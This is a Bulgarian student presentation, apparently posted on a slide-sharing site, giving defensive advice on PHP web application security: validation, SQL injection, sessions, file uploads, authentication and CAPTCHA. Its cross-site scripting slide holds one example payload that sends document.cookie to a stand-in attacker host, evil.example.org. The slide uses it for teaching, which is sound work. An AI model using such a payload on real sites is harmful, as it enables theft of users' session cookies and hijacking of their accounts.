14
Защита при създаване на PHP-приложения в Интернет изготвил: Николай Борисов специалност „Информатика“, ф.н. 9739

Php security

  • Upload
    nikolai

  • View
    282

  • Download
    1

Embed Size (px)

DESCRIPTION

PHP security

Citation preview

Page 1: Php security

Защита при създаване на PHP-приложения в Интернет

изготвил: Николай Борисовспециалност „Информатика“, ф.н. 9739

Page 2: Php security

Методи за разработване на PHP приложения

• Обектно ориентирано• Да използваме фреймуорк• Да използваме възможностите му– Верификация на данните– Санитаризация на данните– Подреденост и неповтаряемост на кода

Page 3: Php security

Най-често срещаните причини за получаване на такива грешки са:• Грешка в писането• Скука• Предизвикателството да те надхитрят• Просто любопитство• Реални злонамерени намерения

Добра практика е грешките да се подтискат след преключване на дебъгването на приложението и да се показват само тези от тях, които разработчикът прецени, че биха били от реална полза на потребителя.

Error handling

Page 4: Php security

Уеб-форми и URL – адреси

Това са най-честите места, които попадат на вниманието на атакуващия, защото те са мястото за взаимодействие със сайта.Затова трябва:• Да не вярваме на потребителя• Да предвиждаме всяко едно негово действие• Да се подготвим за най-лошия сценарии

Пример с използването на Zend Form и Zend Validate класовете може да се види в реферата.

Page 5: Php security

Бази от данни и SQL

Хранилището на нашата информация е и мястото където се пази най-ценната част от нея. Затова трябва:• Да защитим файла с паролите и информацията за

връзката с БД• Да се защитим от SQL injection

Page 6: Php security

Криптиране на данните

Добра практика е ценната информация да се криптира, за да се добави допълнителен слой защита към нея.

Page 7: Php security

Cross-Site Scripting

Проблемът се изразява в това, че в уеб-формите може да се въведе скрипт, който да внесе в сайта злонамерени функции.Пример: <script> document.location = 'http://evil.example.org/steal.php?cookies=' +document.cookie </script>

Page 8: Php security

Сесии и Бисквитки

Могат да бъдат откраднати чрез Cross Site Scripting, но истината че SESSION IDENTIFIER вече не се използва самостоятелно а и дори в новите хостинги е изключен по подразбиране.

SSL дава допълнителен слой на сигурност.

Page 9: Php security

Работа с файлове

• Да проверяваме и да се подсигуряваме когато работим с чужди файлове (e.g.RSS)

• Да се предотвратява command injection• Да се проверява какво се позволява да се

ъплоудва на вашия сайт• Да се прави ограничение и в размера на

файла

Page 10: Php security

Автентификация

Добре е в някои райони от сайта да се дава достъп само на потребители, като се регламентира достапът им чрез потребителско име и парола. Това впоследствие създава и някои проблеми:• Възможност от brute force атака• Възможност от Sniffing атака

Page 11: Php security

Споделен хостинг

Ето някои проблеми със споделения хостинг:• Видим сорс код• Видима сесия• Инжектиране на сесия

Page 12: Php security

Анти бот защита

CAPTCHA – видове • Текстова - Zend_Captcha_Image• Текст от символи -Zend_Captcha_Figlet• Въвеждане на текст на обратно - Zend_Captcha_Dumb • Аудио Captcha• Когнитивна Captcha

Page 13: Php security

Тествай, тествай и после тествай!

Тестването е една от задължителните практики за разработване на сигурни и надеждни информационни системи чрез PHP. При тестването могат да излязат пробойни на места, на които в други ситуации не би трябвало да има, поради нестандартност на системата или поради вземане на нестандартни решения от страна на програмиста за решаване на иначе стандартни проблеми.

Page 14: Php security

Благодаря за вниманието!